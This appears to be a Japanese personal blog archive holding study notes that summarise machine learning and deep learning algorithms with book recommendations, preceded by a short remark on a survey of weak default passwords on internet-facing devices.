にしても、意外とみんなパスワードをちゃんと変更してるんですね。98,000件中505件ということは、0.5%くらいしか脆弱なパスワードがなかったってことだよね。ただ、パスワードの試行回数によるロックアウト機能って、一般ユーザが使うような機器だとデフォルトでは有効になっていない(またはそもそもついてない)気がするので、98,000件でログイン画面が出てしまうというのは結構インパクトが大きい。インターネットからのインバウンドの通信なんて必要ない機器が多いと思うんで、デフォルト不可にできないのかな。

また進展があったら書きます。

機械学習・深層学習の主なアルゴリズムまとめ2〜半教師あり学習・パーセプトロン・ニューラルネットワーク

前回の続き。

security.nekotricolor.com

前回は統計学色が強かったけど、ここからいよいよ「機械学習」色が強まる。気がする。完全に個人用メモで、これを読んだだけではなんだかわからないと思うので参考書籍と一緒にどうぞ。

半教師あり学習

答えのわかっているデータ(ラベル付きデータ)とわかってないデータが混在。ラベルをつけるのは大変なので、少量のラベル付きデータを使ってラベルなしデータにラベルをつけ、それを学習データに利用しようという試み。識別モデルと生成モデルに分かれる。
各モデルのアルゴリズムは調べきれず。基本的には前回の教師あり学習アルゴリズムを使う。

products.sint.co.jp

kento1109.hatenablog.com

www.slideshare.net

www.slideshare.net

強化学習

これはこれで大きな一分野で追っていくときりがないので定義と代表的な学習方法の名前のみ。
強化学習 - Wikipediaより:

ある環境内におけるエージェントが、現在の状態を観測し、取るべき行動を決定する問題を扱う機械学習の一種。エージェントは行動を選択することで環境から報酬を得る。強化学習は一連の行動を通じて報酬が最も多く得られるような方策(policy)を学習する。

TD学習

Temporal Difference Learning、時間的差分学習のこと。

Q学習

Q-Learningとも。

www.atmarkit.co.jp
これとCNNを組み合わせたDeep Q Network(DQN)が流行り。

パーセプトロン

ただ「パーセプトロン」といった場合には、「単純パーセプトロン」のことを指すことが多い。複数の信号を入力として受け取り、各入力に重みを乗算し、その総和がある値(閾値)を超えれば1を、そうじゃない場合は0を出力するアルゴリズムのこと。よくある図を描いておく。◯を「ニューロン」とか「ノード」とか呼ぶ。

f:id:nekotricolor:20190821141001j:plain
パーセプトロン

qiita.com

活性化関数

activation function。入力信号の総和を出力信号に変換する関数のこと。

ステップ関数

活性化関数の一つ。パーセプトロンで使われる。入力が0を超えたら1を、それ以外は0を返す。

ニューラルネットワーク

パーセプトロンに似ている(ニューロンのつながり方は一緒)が、シグモイド関数やReLUなど、ステップ関数ではない活性化関数を使う。ちなみに、パーセプトロンもニューラルネットワークも活性化関数には非線形関数を用いる必要がある。線形関数だと、多層にしても単層で表すことができるので意味がない。詳しくは「0から作るDeep Learning」の「3.2.6 非線形関数」(P.51)に。

活性化関数

シグモイド関数

Sigmoid。ニューラルネットワークで昔からよく用いられる活性化関数の一つ。ステップ関数が0か1かになるのに対し、ヌルヌルと1に近づいていく。

ReLU

Rectified Linear Unit。最近流行りの活性化関数。入力が0以下なら0を、0を超えていればその入力をそのまま返す。3つの関数のグラフを描いてみた:

f:id:nekotricolor:20190821141011j:plain:w350
ステップ・シグモイド・ReLU

出力層の活性化関数

ソフトマックス関数

分類(多クラス分類)に使用する。指数関数を用いる。2クラス分類ではシグモイド関数を使う。出力が0から1.0の実数になるため、確率として解釈することができる(ので分類に使える)。

恒等関数

回帰問題に使用する。入力をそのまま出力する。

畳み込みニューラルネットワーク

CNN(convolutional neural network)ともいう。隣接する全てのニューロン間に結合がある全結合では、例えば3次元のデータでも1次元にする(すべてのニューロンが同じ次元にある)必要があるが、CNNではその必要がなく、形状を維持して計算できる。画像や音声認識によく使われ、とくに画像認識のディープラーニングではほぼすべてがCNNがベースとなっている。畳み込み層(Convolutionレイヤ)とプーリング層(Poolingレイヤ)がある。

再帰型ニューラルネットワーク

RNN(recurrent neural network)ともいう。中間層の出力が自分自身へ戻される帰還路を持つ。これにより情報を一時的に記憶することができ、時系列データに対応することが可能。そのため、音声や言語、動画を扱うのが得意。

Web上の各所でRNNのRをリカーシブとかリカレントとか書かれていて最高にわかりづらいので書籍を参照したところ:

「深層学習」には

再帰型ニューラルネット(recurrent neural network)
回帰(型)ニューラルネット、あるいは循環ニューラルネットと訳されることもありますが、同じものです。*1

「ゼロから作るDeep Learning 2」には

Recurrent Neural Networkは、日本語では「再帰ニューラルネットワーク」
(略)と訳されます(略)
Recursive Neural Network(略)は木構造のデータを処理するためのネットワークで、リカレントニューラルネットワークとは別物です*2

と書かれており、どうやらリカーシブは別物らしい。リカーシブって「再帰」じゃないの・・・?

Long Short-Term Memory

ゲート付きRNNの一つ。中間層を入力/忘却/出力の3つのゲートと記憶(メモリ)セルを使ったネットワークに置き換え、より長い文脈を考慮した学習ができる。ので自然言語処理に強い。

オートエンコーダ

自己符号化器ともいう。ニューラルネットワークを利用した次元削減(Dimensionality reduction:高次元で定義されたデータを、新しい特徴量に変換して次元を減らすこと。計算量の削減や可視化のために用いる。線形では主成分分析(PCA)、対応分析などがある)アルゴリズム。事前学習(ネットワークの重みの良い初期値を得るための学習)に用いられることが多い。

制約ボルツマンマシン

RBM(Restricted Boltzmann Machine)ともいう。ボルツマンマシンは双方向に結合しているニューラルネットワークのことで、RBMは結合の仕方に制約があるもののこと。事前学習に用いられることが多い。

深層学習

Deep Learning。中間層がたくさんあるニューラルネットワークのこと。散々調べたけどそれ以上でも以下でもねえ。

参考書籍

何冊か読んでみましたが、ニューラルネットワークを使わないなら前エントリで紹介した書籍とWebサイトだけで十分だし、ニューラルネットワークを使うなら以下の「ゼロから作る〜」2冊と「深層学習」の3冊だけでいい感じ。ニューラルネットワークに関しては、Webはあてにしない方がいいです。良い記事もありましたがそれ以上に混乱させられる記事が多すぎる。

入門 機械学習

「スパムフィルタ」「暗号解読」などのシステムを構築しながら機械学習を学べる。でも言語がRなんだよねえ(私がRを知らないのが悪いんですが)。翻訳もちょっと読みにくい(のは原文が読みにくいからだと思われる)。Rを使わないなら下の「ゼロから作る〜」の方が日本人が著者で読みやすいしおすすめ。

入門 機械学習

入門 機械学習

  • 作者: Drew Conway,John Myles White,萩原正人,奥野陽,水野貴明,木下哲也
  • 出版社/メーカー: オライリージャパン
  • 発売日: 2012/12/22
  • メディア: 大型本
  • 購入: 2人 クリック: 41回
  • この商品を含むブログ (11件) を見る

ゼロから作るDeep Learning

「最初からそう説明してくれればもっと早く理解できたのに・・」と感じることがたくさん書かれている、大変わかりやすい書籍。パーセプトロンとニューラルネットワークの説明はこれが一番よかった。ほんっっっとにね、わかりやすいんですよ・・日本人著者のありがたみ・・。Pythonインタプリタを使ってその場で簡単に確認できるのも良い。

ゼロから作るDeep Learning ―Pythonで学ぶディープラーニングの理論と実装

ゼロから作るDeep Learning ―Pythonで学ぶディープラーニングの理論と実装

ゼロから作るDeep Learning2

「ゼロから作るDeep Learning」の続編。こちらも大変わかりやすい。RNNはこれなしじゃ理解できなかったです。

ゼロから作るDeep Learning ? ―自然言語処理編

ゼロから作るDeep Learning ? ―自然言語処理編

深層学習

「ゼロから作る〜」があまり数式を使わずに説明していたのに対し、こちらはゴリゴリと数学的に説明していく。教科書としてよく使われているそうで、確かにレイアウトが教科書っぽい。深層学習に関して押さえておくべきことがきっちりと載っている感じ。ちなみにオートエンコーダ(自己符号化器)とボルツマンマシンはこの本には載っているけど「ゼロから作る〜」には載っていない。

深層学習 (機械学習プロフェッショナルシリーズ)

深層学習 (機械学習プロフェッショナルシリーズ)

*1:「深層学習」「7.1 系列データの分類」P.112

*2:「ゼロから作るDeep Learning 2」「5.2 RNNとは」P.183/太字は著者による

機械学習・深層学習の主なアルゴリズムまとめ1〜教師あり学習と教師なし学習

数学的に完全に理解する必要はないけど、あれをするときはこれを使う、くらいは分かっておきたいのでメモ。オフラインで書いてるとテンションが上がらないのではてダに残す。長くなりそうなので半教師あり学習・強化学習・深層学習はこちら。

security.nekotricolor.com

全体を通してこの図が参考になった。scikit-learnはPythonの機械学習ライブラリのこと。
peekaboo-vision.blogspot.com

教師あり学習

Classification(分類)

入力データからクラスを予測する。

分類木

決定木(Decision tree)の一種。目的変数(予測したい変数)が質的変数の場合。

ナイーブベイズ分類器

単純ベイズ分類器とかベイジアンフィルタともいう。ベイズの定理を使って、あるクラスに属する確率を求める。全ての特徴量は互いに独立であるという前提から「ナイーブ」と呼ばれる。出てくるのは確率なので(ここまでなら回帰だよね?)、◯%以上ならA、それ以外はBなど「決め」が必要。スパムフィルタでよく使われる(今もそうなのかしら?)。

rtokei.tech

サポートベクターマシン

SVM。簡単に線引き(3次元なら平面で)できないものを、高次元に変換(2次元を3次元にするとか)して線(平面)を引いて分けられるようにする。

f:id:nekotricolor:20190810135737j:plain
サポートベクターマシン

k近傍法

k Nearest Neighbor ということでkNNとも書く。説明は以下のQiitaが分かりやすい。

qiita.com

Regression(回帰)

入力データから数値を予測する。

回帰木

決定木(Decision tree)の一種。目的変数(予測したい変数)が量的変数の場合。

線形回帰

単回帰分析の一つ。グラフ上に点があって、なんとなくたくさん点があるところを通る直線のあれ。説明変数(予測に使われる変数)と目的変数の関係を1次式で表す。
www.albert2005.co.jp

ロジスティック回帰

目的変数が質的変数、特に0か1の2値のときに用いる。

istat.co.jp

スパムフィルタにも使われているらしい。記事が古い(2006年)からいまは違うかも?
thinkit.co.jp

あれ、質的変数なら分類では?と思ったらまず確率を求めるので回帰だということ。
scrapbox.io

じゃあナイーブベイズ分類器の方が回帰よね。これも確率を求めてそれを元に分類しているので。(分類までして1セットなので「分類器」なんでしょう。)
どっちを使うのがいいかというと:

・十分にデータがあるならロジスティック回帰が有利
・データの少ないタイミングではナイーブベイズが有利

だそうです。
scrapbox.io

教師なし学習

クラスタリング

似たものをグループ化する。

ウォード法

階層クラスター分析=途中過程が階層のように表せる(デンドログラムが作れる)の一つ。

www.albert2005.co.jp

確かこれでマルウェアの系図を作る論文があったな・・・と思ったらこれは静的解析がメインだった。系統解析(階層クラスター分析のことでいいのかな?)でデンドログラムを出している。
展開型静的解析と動的解析を連携させたマルウェア解析手法

FFRIのこれはまさにウォード法でやっている。
動的情報に基づいたマルウェアのクラスタリング

NTT情報流通プラットフォーム研究所でも階層的クラスタ分析でマルウェアの分類をやってる。
機械語命令列の類似性に基づく自動マルウェア分類システム

k平均法

k-meansともいう。非階層クラスター分析の一つ。ランダムにクラスタを割り当て→重心を計算→一番近い重心にクラスタを割り当て直す、を繰り返す。説明は以下のサイト。
tech.nitoyon.com

k-meansを改良したO-means法によりスパムをクラスタリングする試み。やっぱりベイジアンフィルタだけでは排除しきれないようになってきてるのかな?

スパムによる攻撃を分析するためのクラスタリング手法と特徴量選択手法について

参考書籍

統計学の図鑑

仕事で文書のクラスタリングをするときに最初に買った本。
図鑑というだけあってでかいし絵が豊富。でもベイジアンフィルタのことまで書いてある。とっつきやすい。

統計学の図鑑 (まなびのずかん)

統計学の図鑑 (まなびのずかん)

完全独習 統計学入門

中高の数学をだいぶ忘れていたので上の本と一緒に購入。標準偏差について非常に詳しく説明している(ので機械学習をツールとして使うだけならあまり必要ないかも)。章末の練習問題をやったりして学生気分に。

完全独習 統計学入門

完全独習 統計学入門

Rによるデータマイニング入門

上2冊に比べると本格派。これを一番よく読んでいる気がする。Rに慣れてないのでソースが読みにくいのと図(Rによるプロット)がきれいでないのがちょっとあれだけど、知りたいことがだいたい章題になっているので手放せない。

Rによるデータマイニング入門

Rによるデータマイニング入門